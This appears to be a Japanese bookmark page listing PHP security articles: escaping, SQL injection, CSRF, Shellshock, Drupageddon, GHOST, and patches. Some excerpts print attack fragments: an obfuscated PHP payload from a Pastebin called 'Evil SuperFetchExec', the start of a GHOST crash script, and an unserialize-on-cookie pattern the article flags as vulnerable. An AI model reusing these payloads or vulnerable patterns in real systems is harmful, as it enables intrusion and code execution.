タグ

securityとphpに関するat_yasuのブックマーク (54)

  • PHPのJSONのエスケープ

    (Last Updated On: 2023年12月8日) 追記:最近のOWASPガイドの更新でJavaScript文字列はUnicodeエンコードで安全性を確保するよう変更されました。元々このブログでもUnicodeエスケープのまま利用するように書いています。他の言語のユーザーはUnicodeエスケープを利用しましょう。PHPもASCII領域の文字をUnicodeエスケープするようにした方が良いと思います。これは提案して実現するように努力します。 JSONはJavaScriptのオブジェクトや配列を表現する方式でRFC 4627で定義されています。メディアタイプはapplication/json、ファイル拡張子はjsonと定義されています。 PHPにJSON形式のデータに変換するjson_encode関数とjson_decode関数をサポートしています。 JSON関数がサポートされている

    PHPのJSONのエスケープ
  • PHPカンファレンス2015にてトークします

    PHPカンファレンス2015にてトークする機会を頂きましたので報告します。 日時:2015年10月3日(土曜日) 10時~17時(徳丸の出番は10:50~11:50) 場所:大田区産業プラザ PiO 費用:無料 講演タイトル:今どきのSQLインジェクションの話題総まとめ 講演の概要は以下となります。技術よりの話題で、デモあり(たくさん仕込みたいですね)、初級~中級です。 SQLインジェクション対策もれの責任を開発会社に問う判決 PHP入門書のSQLインジェクション脆弱性の状況 O/RマッパやSQLジェネレーターのSQLインジェクションの話題 「SQLインジェクション対策もれの責任を開発会社に問う判決」はこちらで記事に書いた内容の紹介になります。問題のECサイトはEC-CUBEをカスタマイズしたものでしたので、つまりPHPで書かれたアプリケーションのSQLインジェクションだったというわけで、

  • MOTEX - エムオーテックス - サイトは、現在メンテナンス中です

    大変ご迷惑をお掛けいたしますが、 何卒ご容赦くださいますようお願い申し上げます。 Sorry, we are currently undergoing maintenance. We apologize for the inconvenience. ■ お問い合せ先: お急ぎの場合は、大変お手数をお掛けいたしますが、 下記までご連絡いただきますようお願い申し上げます。 <エムオーテックス株式会社 東京部> 〒108-0073 東京都港区三田3-5-19 住友不動産東京三田ガーデンタワー 22階 TEL: 03-3455-1811 E-mail: press@motex.co.jp

    MOTEX - エムオーテックス - サイトは、現在メンテナンス中です
    at_yasu
    at_yasu 2015/07/23
    徳丸先生、すんごい緊張した顔になってはる…w
  • PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる

    既にいくつかの記事で指摘がありますが、PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になります。 しかし、ブログ記事等を見ていると、外部由来の値をunserialize関数に処理させているケースが多くあります。 ユースケースの一例としては、「複数の値をクッキーにセットする方法」として用いる場合です。 PHP クッキーに複数の値を一括登録する方法という記事では、以下の方法で複数の値をクッキーにセットしています。 $status = array( "height" => 167, "weight" => 50, "sight" => 1.2 ); setcookie("status", serialize($status)); クッキーの受け取り側は以下のコードです。 print_r(unserialize($_COOKIE['status'])); 出力結果は以下

  • 書籍『Webアプリケーションセキュリティ対策入門』のCSRF脆弱性 | 徳丸浩の日記

    図のように、大垣のCSRF対策方式(以下、「大垣方式」と表記)では、トークン(同書ではフォームIDと表記)をランダムな鍵として生成(②)し、それをフォームの隠しフィールドとDBに保存します(③、④)。ユーザーがフォームをサブミット(⑤)すると、送信されてきたトークンがDB上に存在するか確認(⑥)し、あればトークンを削除(⑦)して、サーバー上の処理に進みます。⑥でトークンがDBにない場合は、エラーとして処理には進みません。 一般的なCSRF対策手法との違い 大垣方式が一般的なCSRF対策と異なる点は以下の2点です。 フォームの2重投稿防止機能を兼ねている トークンがセッション変数ではなくDBに保存される トークンの有効範囲は? トークンがDBに保存される場合、トークンの有効範囲が気になるところです。大垣および第二版のソースを見ると、トークンを保存するテーブルの定義は以下の通りです。 CR

  • GHOST脆弱性を用いてPHPをクラッシュできることを確認した

    GHOST脆弱性について、コード実行の影響を受けるソフトウェアとしてEximが知られていますが、PHPにもgethostbynameという関数があり、libcのgethostbyname関数をパラメータ未チェックのまま呼んでいます。そこで、PHPのgethostbynameを用いることでPHPをクラッシュできる場合があるのではないかと考えました。 試行錯誤的に調べた結果、以下のスクリプトでPHPをクラッシュできることを確認しています。CentOS6(32bit/64bitとも)、Ubuntu12.04LTS(32bit/64bitとも)のパッケージとして導入したPHPにて確認しましたが、phpallで確認した限りPHP 4.0.2以降のすべてのバージョンのPHPで再現するようです。なぜかPHP 4.0.0と4.0.1では再現しませんでした。 <?php gethostbyname(str_

  • 『例えば、PHPを避ける』以降PHPはどれだけ安全になったか

    この記事はPHPアドベントカレンダー2014の22日目の記事です 。 2002年3月に公開されたIPAの人気コンテンツ「セキュアプログラミング講座」が2007年6月に大幅に更新されました。そして、その一節がPHPerたちを激しく刺激することになります。 (1) プログラミング言語の選択 1) 例えば、PHPを避ける 短時日で素早くサイトを立ち上げることのみに着目するのであれば、PHPは悪い処理系ではない。しかし、これまで多くの脆弱性を生んできた経緯があり、改善が進んでいるとはいえまだ十分堅固とは言えない。 セキュアプログラミング講座(アーカイブ)より引用 「PHPを避ける」とまで言われてしまったわけで、当然ながらネット界隈では炎上を起こし、現在はもう少しマイルドな表現に変わっています(参照)。 稿では、当時のPHPの状況を振り返る手段として、この後PHPセキュリティ機能がどのように変化

  • PHP 5.6系、5.5系、5.4系最新版登場

    PHPデベロップメントチームは10月16日(米国時間)、「PHP: Hypertext Preprocessor - PHP 5.6.2 is available」において、PHP 5.6系の最新版となる「PHP 5.6.2」を公開したと伝えた。 CVE-2014-3668、CVE-2014-3669、CVE-2014-3670などに関連した4つのセキュリティ関連バグを修正したバージョンとされており、すべてのPHP 5.6ユーザーは同バージョンへアップグレードすることが推奨されている。 PHPデベロップメントチームは同日、「PHP: Hypertext Preprocessor -PHP 5.5.18 is available」において、PHP 5.5系の最新版となる「PHP 5.5.18」を公開したことも伝えた。いくつかのバグが修正されているほか、PHP 5.5.17で発生していたOpe

    at_yasu
    at_yasu 2014/10/25
    SecurityFix有り
  • DrupalのSQLインジェクションCVE-2014-3704(Drupageddon)について調べてみた

    既に日でも報道されているように、著名なCMSであるDrupalのバージョン7系にはSQLインジェクション脆弱性があります(通称 Drupageddon; CVE-2014-3704)。この脆弱性について調査した内容を報告します。 ログイン時のSQL文を調べてみる MySQLのクエリログを有効にして、Drupaのログイン時に呼び出されるSQL文を調べてみます。リクエストメッセージは以下となります(一部のヘッダを省略)。 POST /?q=node&destination=node HTTP/1.1 Host: xxxxxxx User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Cookie: has_js=1; Drupal.toolbar.collapsed=0 Conn

    DrupalのSQLインジェクションCVE-2014-3704(Drupageddon)について調べてみた
  • PHPカンファレンス2014 対談セッション 「ウェブエンジニアに必要なセキュリティスキルとは」のつぶやき

    PHPカンファレンス2014の大垣さんと徳丸さんの対談セッション「ウェブエンジニアに必要なセキュリティスキルとは」のつぶやきをまとめました。 セッション詳細はこちら https://joind.in/talk/view/12046

    PHPカンファレンス2014 対談セッション 「ウェブエンジニアに必要なセキュリティスキルとは」のつぶやき
  • bashにおける脆弱性「Shellshock」について

    2014/09/26 コース:元祖こってり 「元祖こってり」記事はネットエージェント旧ブログ[netagent-blog.jp]に掲載されていた記事であり、現在ネットエージェントに在籍していないライターの記事も含みます。 bashにおける脆弱性「Shellshock」について LinuxMac OS XなどのUNIX系OSで広く使用されているbashに見つかった脆弱性(Shellshockと呼ばれています)が先日から話題になっています。 弊社でもこのbashの脆弱性について調査を行いました。 ■概要 環境変数に特定の文字列を設定するだけでその環境変数内の文字列をシェルが関数として実行してしまいます。 シェルを通じてコマンド等を実行する幅広い環境で影響がありますが、特に顕著に影響を受けるのはCGI等のWebアプリケーション環境です。 CGIをはじめとするWebアプリケーションではWebブラ

    at_yasu
    at_yasu 2014/09/26
    「PHPではCGIモードで起動させた場合にbashの脆弱性を利用した攻撃が非常に容易に行えることを確認しています」
  • JVNDB-2014-003710 - JVN iPedia - 脆弱性対策情報データベース

    Sphider の admin/admin.php には、静的コードの挿入により、任意の PHP コードを settings/conf.php に挿入される脆弱性が存在します。

  • Evil SuperFetchExec PHP Script - Pastebin.com

    <?php for($o=0,$e='&\'()*+,-.:]^_`{|,,,|-((.(*,|)`)&(_(*,+)`(-(,+_(-(.(:(](^(_(`({)]+`+{+|,&-^-_(^)](](^(_(^(:(`(,-_(.-_(](:(,+_(-+_(--_(`(.(.+`+_(-(:(.(,+_(--^(.-_(:+{(]+{(:(:(^(`(,(,(,(.(:(:(:+{(,(_(:(_+_(-)](](,(:-_(,,&(_,&+_(-(`(:(.(,(.(.+_(-(.+`(,-_(.(`(](.(_-^(,)](:({(,(,(_(](.(](.-^(,(,(`(,(](:(.({(]-^+_(-(^+_(-(^(.(](,+`(`,&(:+{(.-^(_-_(`-_(]-^+_(-+{(:-^+_(--^(,(_(:(](,(_(`)](:,&(.(,+_(-+{

    Evil SuperFetchExec PHP Script - Pastebin.com
  • 「FuelPHP」に任意のコードを実行される脆弱性(JVN) | ScanNetSecurity

    「FuelPHP」に任意のコードを実行される脆弱性(JVN) | ScanNetSecurity
  • ロシアのハッカー集団、米CNETの読者情報を盗み出す

    ロシアハッカー集団w0rmを自称する団体が先週末、米CNET.comのデータベースにアクセスして読者情報を抜き取ったと宣言した。CNET.comのウェブサイトで利用しているPHPフレームワーク「Symfony」のセキュリティホールが悪用された。 米CNET Newsが犯行集団にTwitterを通じて取材した結果、利用者100万人以上のユーザー名、電子メール、暗号化された状態のパスワードが盗まれたことが判明している。 サイトの運営元であるCBS Interactiveの広報担当は、攻撃者が「複数のサーバにアクセスした」ことを認め、「何日か前に不具合を特定し、修正している。(サイトの)監視を続けていく」と述べている。 またw0rmの代表は、パスワードを復号化したり、データベースを売却したりするつもりはないとしている。w0rmは米国時間7月14日に、データベースを1ビットコイン(約622ドル相

    ロシアのハッカー集団、米CNETの読者情報を盗み出す
    at_yasu
    at_yasu 2014/07/16
    「CNET.comのウェブサイトで利用しているPHPフレームワーク「Symfony」のセキュリティホールが悪用された」
  • れいさの本当に目が覚めるPHP - Togetterまとめ

    全てのリンク先で肝が冷えます。 PHPerの早朝のネタトークが思いの外インパクトがあったのでまとめただけです。 PHPや利用者がどうこうという文脈ではありません。 ※タイトル変更しました。

    れいさの本当に目が覚めるPHP - Togetterまとめ
    at_yasu
    at_yasu 2014/06/13
    学習用とかかなぁ…引っかかった奴は…さすがにそう思いたい…
  • PHP v5.4.28, v5.5.12以降で必要なPHP-FPMの設定

    PHP v5.4.28 と v5.5.12での修正点PHP v5.4.28, v5.5.12 では、CVE-2014-0185 に対するパッチが当てられており、PHP-FPMで使用されるソケットファイルのデフォルトパーミッションが666から660に変更されています。ですので、運用環境によっては、WebサーバがPHP-FPMのソケットファイルにアクセスできなくなり、今まで問題なく動いていたWebサイトがエラーで見られなくなることになります。 必要になる設定対応策は簡単で、PHP-FPMの設定ファイル内にある listen.owner や listen.group に、Webサーバからアクセスできるような所有者・所有グループを設定するだけです(この設定が、ソケットファイルの所有者・所有グループになります)。その後で PHP-FPMを再起動して下さい。 設定例; ソケットファイルの所有者をセット

    PHP v5.4.28, v5.5.12以降で必要なPHP-FPMの設定
    at_yasu
    at_yasu 2014/06/09
    「PHP-FPMで使用されるソケットファイルのデフォルトパーミッションが666から660に変更されています」
  • 文字コードの脆弱性はこの3年間でどの程度対策されたか?

    SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか

    文字コードの脆弱性はこの3年間でどの程度対策されたか?
  • PHP 5.5に脆弱性 - データチェックの不具合

    脆弱性対策情報ポータルサイトJVN (Japan Vulnerability Notes)に掲載された記事「JVNDB-2014-001422 - PHP の ext/gd/gd.c における重要な情報を取得される脆弱性」が、PHPに重要なデータが取得されるセキュリティ脆弱性があることを伝えた。PHP 5.5.9未満のすべての5.5系が影響を受けるとされている。 この脆弱性はext/gd/gd.cにおけるデータチェックの不具合に原因がある。数値ではなく文字列や配列などのデータが渡された場合に想定していないデータが取得される危険性がある。脆弱性はCVE-2013-7226とは異なっており、該当するバージョンを使用している場合には修正が実施されたバージョンへのアップグレードが推奨される。 セキュリティ脆弱性(ヒープオーバーフロー)の詳細は「Sec Bug #66356 Heap Overf

  • PHP本体でタイミング攻撃を防御できるようになります

    Last Updated on: 2021年3月25日 PHP 5.6からタイミング攻撃に対する対策が導入されます。メジャーなアプリケーションはタイミング攻撃対策が導入されていますが、PHP 5.6から簡単に対策できるようになります。 タイミングセーフな文字列比較関数はhash_equalsとして実装されました。 http://php.net/manual/es/function.hash-equals.php タイミング攻撃とは タイミング攻撃とは、コンピュータが動作する時間の違いを測って攻撃する、サイドチャネル攻撃(副作用攻撃)と呼ばれる攻撃手法の1つです。HTTPSの圧縮の副作用を利用したサイドチャネル攻撃が有名です。 コンピュータの動作時間、温度、音、電子ノイズ、電力使用量など、アルゴリズム自体の脆弱性を攻撃するのではなく副産物を利用する攻撃方法でサイドチャネル攻撃の一種です。例え

    PHP本体でタイミング攻撃を防御できるようになります